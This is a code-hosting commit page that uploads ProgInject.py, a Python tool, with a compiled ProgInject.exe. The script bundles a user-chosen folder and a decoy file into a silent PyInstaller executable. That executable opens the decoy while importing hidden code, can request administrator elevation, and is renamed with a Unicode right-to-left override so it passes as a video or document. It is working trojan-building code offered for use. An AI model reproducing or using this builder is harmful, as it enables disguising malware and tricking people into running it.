shethjenil commited on
Commit
f1d7139
·
verified ·
1 Parent(s): 0c6b900

Upload 2 files

Browse files
Files changed (3) hide show
  1. .gitattributes +1 -0
  2. ProgInject.exe +3 -0
  3. ProgInject.py +51 -0
.gitattributes CHANGED
@@ -44,3 +44,4 @@ PYTOIMAGE filter=lfs diff=lfs merge=lfs -text
44
  RUNAPP filter=lfs diff=lfs merge=lfs -text
45
  AIMAGE.exe filter=lfs diff=lfs merge=lfs -text
46
  YTSEARCH.exe filter=lfs diff=lfs merge=lfs -text
 
 
44
  RUNAPP filter=lfs diff=lfs merge=lfs -text
45
  AIMAGE.exe filter=lfs diff=lfs merge=lfs -text
46
  YTSEARCH.exe filter=lfs diff=lfs merge=lfs -text
47
+ ProgInject.exe filter=lfs diff=lfs merge=lfs -text
ProgInject.exe ADDED
@@ -0,0 +1,3 @@
 
 
 
 
1
+ version https://git-lfs.github.com/spec/v1
2
+ oid sha256:f98a27f9980e0b8cb304df077a92bd9f35030fbe24debaed8230d3d181ec06e5
3
+ size 34165291
ProgInject.py ADDED
@@ -0,0 +1,51 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #‮
2
+ from tkinter.filedialog import askopenfilename , askdirectory , asksaveasfilename
3
+ from tkinter.simpledialog import askstring
4
+ from tkinter.messagebox import showwarning , askyesno
5
+ import sys
6
+ from PIL import Image
7
+ from shutil import copy2 , rmtree , move
8
+ from os import remove , getcwd
9
+ from subprocess import Popen , PIPE , DEVNULL
10
+ if Popen("pyinstaller",stderr=PIPE).communicate()[0]:
11
+ if not Popen("python -m pip",stderr=PIPE).communicate()[0]:
12
+ Popen("python -m pip install pyinstaller",stderr=DEVNULL,stdout=DEVNULL).communicate()
13
+ else:
14
+ showwarning("Python is required to run this program")
15
+ sys.exit()
16
+ def hide_file(openfilename:str, extension:str="mp4",path:str=""):
17
+ openfile = openfilename.split("/")[-1].split(".")
18
+ newname = path +"/"+ openfile[0] + "\u202E"+extension[::-1]+"." + openfile[1]
19
+ copy2(openfilename, newname)
20
+
21
+ # hide_file(askopenfilename(), askstring("extension", "Enter the extension of the file which you want to modify"),askdirectory(title="SELECT SAVE DIRECTORY"))
22
+ folder = askdirectory(title="SELECT FOLDER")
23
+ Image.open(askopenfilename(filetypes=[("Image",["*.jpg","*.png","*.jpeg","*.ico"])])).convert("RGBA").save(f"{folder}/icon.ico", format="ICO", sizes=[(72, 72)])
24
+ filename = askopenfilename()
25
+ copy2(filename,f"{folder}/{filename.split('/')[-1]}")
26
+ open(f"{folder}/mainfile.py","a+").write(f'''
27
+ from subprocess import Popen
28
+ from os import chdir
29
+ import sys
30
+ chdir(sys._MEIPASS+r"\data")
31
+ Popen("{filename.split("/")[-1]}",shell=True).communicate()
32
+ try:
33
+ import main
34
+ except:
35
+ pass
36
+ ''')
37
+ command = ['pyinstaller', '--noconfirm', '--disable-windowed-traceback','--onefile', '--windowed', '--icon', f'{folder}/icon.ico', '--name', 'software', '--add-data', f'{folder};data/',f'{folder}/mainfile.py']
38
+ if askyesno("UAC","Do you want to run this program as administrator?"):
39
+ command.insert(1,"--uac-admin")
40
+ if askyesno("UAC","Do you want to run this program as Uiaccess?"):
41
+ command.insert(1,"--uac-uiaccess")
42
+ Popen(command,shell=True,stdout=DEVNULL,stderr=DEVNULL).communicate()
43
+ rmtree("build")
44
+ remove("software.spec")
45
+ remove(f"{folder}/icon.ico")
46
+ remove(f"{folder}/mainfile.py")
47
+ remove(f"{folder}/{filename.split('/')[-1]}")
48
+ move("dist/software.exe","software.exe")
49
+ rmtree("dist")
50
+ hide_file("software.exe",filename.split('.')[-1],askdirectory(title="SELECT FOLDER FOR SAVE A FILE"))
51
+ remove("software.exe")